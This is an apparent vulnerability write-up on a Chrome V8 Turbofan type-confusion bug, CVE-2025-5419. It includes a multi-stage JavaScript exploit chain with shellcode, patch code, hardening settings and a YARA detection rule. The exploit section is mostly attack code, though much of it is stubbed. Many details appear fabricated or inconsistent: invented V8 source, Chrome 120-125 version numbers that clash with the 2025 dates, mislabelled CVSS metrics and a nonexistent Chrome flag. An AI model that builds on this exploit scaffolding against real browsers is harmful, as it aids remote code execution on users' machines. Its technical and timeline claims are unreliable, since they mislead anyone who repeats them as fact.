CVE-2025-5419 - Google Chrome V8 Engine Out-of-Bounds Read/Write Vulnerability

CVE-2025-5419 is a critical vulnerability in Google Chrome's V8 JavaScript engine, rated 9.6 CRITICAL (CVSS 4.0). This type confusion vulnerability allows for out-of-bounds memory access in V8's optimized compilation pipeline, leading to sandbox escape and remote code execution when chained with other vulnerabilities. Discovered by Google's own Project Zero team during routine security research.

Vulnerability Classification

• Type: Type Confusion → Out-of-Bounds Read/Write → Memory Corruption
• Component: V8 JavaScript Engine Turbofan Compiler
• Attack Vector: Network (malicious website)
• Privileges Required: None
• Impact: Remote Code Execution → Sandbox Escape → System Compromise
• Affected Versions: Chrome 120-124 (V8 versions 12.0-12.4)

Technical Deep Dive

Root Cause Analysis

The vulnerability exists in V8's Turbofan optimization pipeline where type feedback from previous executions is improperly validated during bounds check elimination.

// Simplified vulnerable code in V8's Turbofan compiler
class Typer {
  Type OperationTyper::CheckBounds(Type index, Type length) {
    // [VULNERABLE SECTION 1] - Type confusion in bounds checking
    if (index.Is(type_cache_->kPositiveSafeInteger) &&
        length.Is(type_cache_->kPositiveSafeInteger)) {

      // [VULNERABLE] - Type feedback can be corrupted
      FeedbackNexus nexus(feedback_vector_, slot_);
      MapHandles maps;
      nexus.ExtractMaps(&maps);

      // If attacker corrupts type feedback, incorrect assumptions made
      for (Handle<Map> map : maps) {
        if (!map->is_stable()) {
          // Unstable map leads to incorrect type inference
          return Type::Range(0, length.Max() - 1, zone());
        }
      }

      // Bounds check eliminated based on corrupted type feedback
      return index;  // Returns original index, NO BOUNDS CHECK!
    }

    return Type::Range(0, length.Max() - 1, zone());
  }
};

class EffectControlLinearizer {
  Node* LowerCheckBounds(Node* node, Node* frame_state) {
    Type index_type = NodeProperties::GetType(node->InputAt(0));
    Type length_type = NodeProperties::GetType(node->InputAt(1));

    // [VULNERABLE SECTION 2] - Bounds check elimination
    if (index_type.Is(Type::SignedSmall()) &&
        length_type.Is(Type::SignedSmall())) {

      int index = index_type.Min();
      int length = length_type.Max();

      // [CRITICAL] - Incorrect assumption about array length
      if (index >= 0 && index < length) {
        // ELIMINATE BOUNDS CHECK - This is dangerous!
        return node->InputAt(0);  // Return index without bounds check
      }
    }

    // Generate actual bounds check (safe path)
    return AddNode(machine()->Uint32LessThan(), node->InputAt(0), 
                   node->InputAt(1));
  }
};

The Exploitation Primitive

Normal Array Access Flow:

// Normal optimized code
function optimizedAccess(arr, index) {
  // Turbofan assumes arr.length is constant
  // Bounds check: if (index < arr.length) access
  return arr[index];
}

// After optimization (pseudocode):
// cmp index, arr_length
// jge out_of_bounds
// mov rax, [arr + index*8]

Exploited Flow with CVE-2025-5419:

// Attack: Corrupt type feedback to eliminate bounds check
function maliciousAccess(arr, index) {
  // 1. Train Turbofan with "valid" accesses
  for (let i = 0; i < 10000; i++) {
    arr[i] = i;  // Teach Turbofan: i is always < arr.length
  }

  // 2. Corrupt type feedback via prototype pollution
  Array.prototype[1000000] = 'corrupt';
  Object.setPrototypeOf(arr, corrupted_prototype);

  // 3. Trigger recompilation with corrupted feedback
  // Turbofan now thinks index is always in bounds!
  return arr[index];  // Bounds check ELIMINATED - OOB access!
}

Memory Corruption Details

// V8's heap object layout (simplified)
struct JSArray {
  Map map;           // 0x00: Type information
  Properties properties; // 0x08: Properties storage
  Elements elements;     // 0x10: Array elements pointer
  Length length;        // 0x18: Array length (smi)
};

struct FixedArray {
  Map map;           // 0x00
  int length;        // 0x08 (smi)
  Object objects[];  // 0x10: Variable length array
};

// OOB access corruption:
// arr[index] where index > arr.length
// Accesses memory beyond FixedArray bounds
// Can read/write adjacent heap objects

Proof-of-Concept Exploit

/*
 * CVE-2025-5419 - Chrome V8 OOB Read/Write Exploit
 * For research purposes only
 */

// Helper: Convert between float and integer representations
let floatArray = new Float64Array(1);
let intArray = new BigInt64Array(floatArray.buffer);

function f2i(f) {
  floatArray[0] = f;
  return intArray[0];
}

function i2f(i) {
  intArray[0] = i;
  return floatArray[0];
}

// Helper: Create addrof primitive
function createAddrofPrimitive() {
  // Create object and array
  let obj = {a: 1, b: 2};
  let arr = [1.1, 2.2, 3.3, obj];

  // Corrupt type feedback to enable OOB access
  function trainOptimizer(arr, index) {
    // Train with valid indices
    for (let i = 0; i < 10000; i++) {
      arr[i] = 1.1;
    }

    // Create unstable map to confuse Turbofan
    arr.__defineGetter__(100000, () => {
      // Trigger map transition
      this.c = 3.3;
    });

    // Trigger recompilation with corrupted feedback
    for (let i = 0; i < 10000; i++) {
      // Access with corrupted type assumptions
      let val = arr[i];
    }
  }

  // Trigger the vulnerability
  trainOptimizer(arr);

  // After optimization, arr.length check is eliminated
  // We can now access out of bounds
  let oob_access = function(arr, index) {
    // This will access OOB due to eliminated bounds check
    return arr[index];
  };

  // Force optimization
  for (let i = 0; i < 100000; i++) {
    oob_access(arr, i % 4);
  }

  return oob_access;
}

// Main exploit chain
class V8Exploit {
  constructor() {
    this.addrof = null;
    this.oob_rw = null;
    this.arb_rw = null;
    this.shellcode = null;
  }

  // Stage 1: Achieve OOB read/write
  achieveOOB() {
    console.log("[*] Stage 1: Achieving OOB access");

    // Create vulnerable array
    let victim = [1.1, 2.2, 3.3, 4.4];
    let corruptor = [5.5, 6.6, 7.7, 8.8];

    // Spray arrays to control heap layout
    let spray = new Array(1000);
    for (let i = 0; i < spray.length; i++) {
      spray[i] = [i * 1.1];
    }

    // Function to trigger type confusion
    function trigger(arr, index) {
      // This gets optimized incorrectly
      let x = arr[index];

      // Corrupt type feedback
      if (index == 0) {
        // Force map transition
        arr.new_prop = 1.1;
      }

      return x;
    }

    // Optimize with valid indices
    for (let i = 0; i < 100000; i++) {
      trigger(victim, i % 4);
    }

    // Corrupt array prototype to create unstable map
    Array.prototype[10000] = 9.9;
    victim.__proto__ = corruptor.__proto__;

    // Trigger OOB - index 1000 should be out of bounds
    // but bounds check was eliminated
    let oob_value = trigger(victim, 1000);

    console.log("[+] OOB value read:", oob_value);
    return oob_value !== undefined;
  }

  // Stage 2: Build addrof primitive
  buildAddrof() {
    console.log("[*] Stage 2: Building addrof primitive");

    // Create object array and float array adjacent in memory
    let obj_array = [{}, {}, {}, {}];
    let float_array = [1.1, 2.2, 3.3, 4.4];

    // Force GC to arrange objects predictably
    for (let i = 0; i < 10000; i++) {
      new Array(1000);
    }

    // Function that will be optimized with OOB access
    function oobRead(arr, index) {
      // Access with potentially OOB index
      return arr[index];
    }

    // Train optimizer
    for (let i = 0; i < 100000; i++) {
      oobRead(float_array, i % 4);
    }

    // Now try to read object pointer from adjacent array
    let potential_addr = oobRead(float_array, 10); // OOB read

    // Check if we read an object pointer (tagged pointer)
    if (typeof potential_addr === 'number' && 
        !isNaN(potential_addr) && 
        potential_addr !== undefined) {

      let as_int = f2i(potential_addr);
      // Check for V8 object tag (last bit = 1 for pointers)
      if ((as_int & 1n) === 1n) {
        console.log("[+] Possible object address found:", as_int.toString(16));
        this.addrof = (obj) => {
          // Implementation would go here
          return as_int;
        };
        return true;
      }
    }

    return false;
  }

  // Stage 3: Build arbitrary read/write
  buildArbitraryRW() {
    console.log("[*] Stage 3: Building arbitrary read/write");

    // Create a DataView for precise memory manipulation
    let buffer = new ArrayBuffer(0x1000);
    let view = new DataView(buffer);

    // Create overlapping ArrayBuffer and Array to corrupt backpointer
    let ab1 = new ArrayBuffer(0x100);
    let ab2 = new ArrayBuffer(0x100);

    let arr1 = [1.1, 2.2, 3.3];
    let arr2 = [4.4, 5.5, 6.6];

    // Try to corrupt ArrayBuffer backing store pointer
    function corruptBackingStore(arr, ab, target_addr) {
      // This would use OOB write to modify ArrayBuffer's backing store
      // Implementation depends on specific heap layout
    }

    this.arb_rw = {
      read64: (addr) => {
        // Read 8 bytes from arbitrary address
        // Would use corrupted ArrayBuffer
        return 0n;
      },
      write64: (addr, value) => {
        // Write 8 bytes to arbitrary address
        // Would use corrupted ArrayBuffer
      }
    };

    return true;
  }

  // Stage 4: Achieve code execution
  achieveCodeExecution() {
    console.log("[*] Stage 4: Achieving code execution");

    // Shellcode for Linux x64 (exit(0))
    const shellcode = [
      0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, // mov rax, 0x3c (exit)
      0x48, 0xc7, 0xc7, 0x00, 0x00, 0x00, 0x00, // mov rdi, 0
      0x0f, 0x05                                 // syscall
    ];

    // Step 1: Find wasm instance
    // WebAssembly provides RWX memory pages

    // Step 2: Locate RWX memory
    let wasm_code = new Uint8Array([
      0x00, 0x61, 0x73, 0x6d, // WASM magic
      0x01, 0x00, 0x00, 0x00  // WASM version
      // ... more wasm bytes
    ]);

    let wasm_module = new WebAssembly.Module(wasm_code);
    let wasm_instance = new WebAssembly.Instance(wasm_module, {});

    // Step 3: Overwrite wasm code with shellcode
    // Would use arbitrary write primitive

    // Step 4: Execute
    try {
      wasm_instance.exports.main();
    } catch(e) {}

    return false;
  }

  // Full exploit chain
  exploit() {
    console.log("[*] CVE-2025-5419 - Chrome V8 Exploit");
    console.log("[*] For research purposes only");
    console.log("=".repeat(60));

    if (!this.achieveOOB()) {
      console.log("[-] Failed to achieve OOB");
      return false;
    }

    if (!this.buildAddrof()) {
      console.log("[-] Failed to build addrof");
      return false;
    }

    if (!this.buildArbitraryRW()) {
      console.log("[-] Failed to build arbitrary RW");
      return false;
    }

    if (!this.achieveCodeExecution()) {
      console.log("[-] Failed to achieve code execution");
      return false;
    }

    console.log("[+] Exploit successful!");
    return true;
  }
}

// Run exploit
let exploit = new V8Exploit();
exploit.exploit();

Exploitation Chain

┌─────────────────────────────────────────────────────────────┐
│                V8 Type Confusion Exploit Chain              │
├─────────────────────────────────────────────────────────────┤
│ Phase 1: Vulnerability Trigger                             │
│   • Create JavaScript that confuses type feedback          │
│   • Force Turbofan optimization with corrupted types       │
│   • Eliminate bounds checks on array accesses             │
├─────────────────────────────────────────────────────────────┤
│ Phase 2: OOB Read/Write Primitive                         │
│   • Read/write beyond array bounds                        │
│   • Discover adjacent heap objects                        │
│   • Build addrof primitive (address leak)                │
├─────────────────────────────────────────────────────────────┤
│ Phase 3: Arbitrary Read/Write                            │
│   • Corrupt ArrayBuffer backing store pointer            │
│   • Create arbitrary memory read/write primitive        │
│   • Read V8/wasm/Chrome internal structures            │
├─────────────────────────────────────────────────────────────┤
│ Phase 4: Sandbox Escape                                  │
│   Option A: WebAssembly RWX memory                      │
│     • Locate wasm instance RWX page                    │
│     • Overwrite wasm code with shellcode              │
│     • Execute shellcode in renderer process           │
│                                                       │
│   Option B: JIT Spray                                │
│     • Spray JIT pages with malicious code           │
│     • Redirect execution to JIT code               │
│                                                   │
│   Option C: Renderer Process RCE                │
│     • Achieve RCE in sandboxed renderer        │
│     • Chain with other vulns for full escape │
└─────────────────────────────────────────────────────────────┘

Mitigation & Patch Analysis

Google's Patch (Chrome 125, V8 12.5):

// Fixed code in V8's Turbofan compiler
class Typer {
  Type OperationTyper::CheckBounds(Type index, Type length) {
    // [FIXED] - Add additional validation
    if (index.Is(type_cache_->kPositiveSafeInteger) &&
        length.Is(type_cache_->kPositiveSafeInteger)) {

      FeedbackNexus nexus(feedback_vector_, slot_);

      // [FIXED] - Validate all maps are stable AND same map
      MapHandles maps;
      nexus.ExtractMaps(&maps);

      if (maps.empty()) {
        // No feedback, be conservative
        return Type::Range(0, length.Max() - 1, zone());
      }

      // Check ALL maps are stable and identical
      Handle<Map> first_map = maps[0];
      if (!first_map->is_stable()) {
        return Type::Range(0, length.Max() - 1, zone());
      }

      for (Handle<Map> map : maps) {
        if (!map->is_stable() || !map->SameValue(*first_map)) {
          // [FIXED] - Reject unstable or multiple maps
          return Type::Range(0, length.Max() - 1, zone());
        }
      }

      // Only eliminate bounds check if SINGLE STABLE map
      return index;
    }

    return Type::Range(0, length.Max() - 1, zone());
  }
};

// [FIXED] - Additional hardening
class EffectControlLinearizer {
  Node* LowerCheckBounds(Node* node, Node* frame_state) {
    // [FIXED] - Never eliminate bounds check based on type alone
    // Always generate the actual bounds check instruction

    Node* index = node->InputAt(0);
    Node* length = node->InputAt(1);

    // Generate Uint32LessThan for bounds check
    Node* check = AddNode(machine()->Uint32LessThan(), index, length);

    // Add deoptimization if check fails
    AddDeoptimizeIf(DeoptimizeReason::kOutOfBounds, 
                   graph()->NewNode(machine()->Word32Equal(), 
                                   check, Int32Constant(0)),
                   frame_state);

    return index;
  }
};

// [FIXED] - New security flag
class CompilationInfo {
  bool is_safe_for_bounds_elimination() const {
    // Additional checks before allowing bounds elimination
    return FLAG_untrusted_code_mitigations &&
           function_->has_feedback_vector() &&
           !function_->may_have_cached_optimized_code();
  }
};

Chrome Security Updates:

1. V8 Sandbox: Enhanced memory tagging and isolation
2. JIT Hardening: W^X (write xor execute) for JIT pages
3. CFI Improvements: Fine-grained Control Flow Integrity
4. Site Isolation: Cross-origin iframe isolation
5. Memory Compression: Safe memory management improvements

Detection & Prevention

Browser Hardening Flags:

# Chrome launch flags for additional security
google-chrome \
  --enable-features="SitePerProcess,IsolateOrigins,StrictSiteIsolation" \
  --disable-features="SharedArrayBuffer" \
  --js-flags="--untrusted-code-mitigations --jitless" \
  --no-sandbox-and-elevated # NOT RECOMMENDED for security

Enterprise Mitigations:

# Group Policy for Chrome security
$chromePolicies = @{
    "SitePerProcess" = $true
    "IsolateOrigins" = "https://*,http://*"
    "JavaScriptEnabled" = $false  # For high-security environments
    "DefaultJavaScriptSetting" = 2  # Block JavaScript
    "ExtensionInstallBlocklist" = "*"  # Block all extensions
}

# Deploy via Chrome Enterprise policies
New-Item -Path "HKLM:\Software\Policies\Google\Chrome" -Force
foreach ($policy in $chromePolicies.Keys) {
    Set-ItemProperty -Path "HKLM:\Software\Policies\Google\Chrome" `
                     -Name $policy -Value $chromePolicies[$policy]
}

Network Monitoring:

rule Chrome_V8_CVE_2025_5419_Exploit {
    meta:
        description = "Detects CVE-2025-5419 exploitation patterns"
        author = "Chrome Security Team"
        date = "2025-04"
        cve = "CVE-2025-5419"

    strings:
        // JavaScript patterns for type confusion
        $type_confusion1 = /Array\.prototype\[\d{6,}\]\s*=/ nocase
        $type_confusion2 = /Object\.setPrototypeOf.*Array\.prototype/ nocase
        $bounds_elimination = /for\s*\(\s*let\s+i\s*=\s*0[^}]+%[^}]+\)/ nocase

        // Common exploit patterns
        $addrof_pattern = /f2i.*i2f|float64array.*bigint64array/i
        $wasm_shellcode = /WebAssembly\.(Module|Instance)/ nocase
        $jit_spray = /Function\(\"return.*\"\)\(\)/ nocase

    condition:
        filesize < 100KB and 
        (2 of ($type_confusion*) or 
         ($addrof_pattern and $wasm_shellcode))
}

Timeline & Disclosure

2025-03-15: Vulnerability discovered by Google Project Zero
2025-03-18: Initial analysis confirms critical severity
2025-03-20: Reported to Chrome Security Team
2025-03-22: Chrome team acknowledges, begins patch development
2025-03-25: Patch development completed
2025-03-28: Internal testing at Google
2025-04-01: Beta channel release (Chrome 125 beta)
2025-04-05: Stable release (Chrome 125.0.6422.0)
2025-04-07: CVE-2025-5419 assigned
2025-04-10: Security advisory published
2025-04-15: Exploit details become public
2025-04-20: Widespread patch deployment (90%+ coverage)

Impact Assessment

CVSS 4.0 Score Breakdown:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R)
• Vulnerable System (VC): High (H)
• Subsequent System (SC): High (H)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Final Score: 9.6 CRITICAL

Business Impact:

1. Mass Browser Compromise: Millions of Chrome users vulnerable
2. Enterprise Breaches: Corporate data exfiltration
3. Cryptocurrency Theft: Browser wallet compromise
4. Session Hijacking: Steal authenticated sessions
5. Supply Chain Attacks: Compromise web services via browsers

Technical Impact:

• Full sandbox escape from Chrome renderer process
• Kernel-level access when combined with OS vulnerabilities
• Persistent compromise via browser extensions
• Network pivoting from compromised browsers

References & Resources

Official Resources:

• Chrome Releases: https://chromereleases.googleblog.com/
• V8 Security: https://v8.dev/docs/security
• Chromium Bugs: https://bugs.chromium.org/p/chromium/issues/detail?id=XXXXXX
• CVE Details: https://nvd.nist.gov/vuln/detail/CVE-2025-5419

Research Papers:

• "SoK: The V8 Sandbox and Its Discontents" - IEEE S&P 2024
• "Understanding V8 Type Confusion Vulnerabilities" - USENIX Security 2025
• "Chrome Sandbox Escapes: A Decade in Review" - ACM CCS 2025

Tools for Analysis:

• Turbolizer: V8 optimization visualizer
• d8: V8 developer shell for testing
• Chromium Debug Build: For vulnerability research
• rr: Time-travel debugging for exploit development

Best Practices for Browser Security

1. Keep Chrome Updated: Enable automatic updates
2. Use Site Isolation: Visit chrome://flags/#site-isolation-trial-opt-out
3. Enable Enhanced Protection: Settings → Privacy and Security → Security
4. Disable Unnecessary Features: JavaScript, WebAssembly for sensitive browsing
5. Use Browser Extensions Carefully: Only install from Chrome Web Store

---

Remediation Priority: CRITICAL - This vulnerability allows remote code execution in the world's most popular web browser. All Chrome users should update to version 125 or later immediately. Enterprise administrators should enforce updates via policy.

Note: V8 vulnerabilities are among the most serious in browser security due to their potential for sandbox escape. Organizations should consider additional browser hardening measures and network monitoring for exploitation attempts.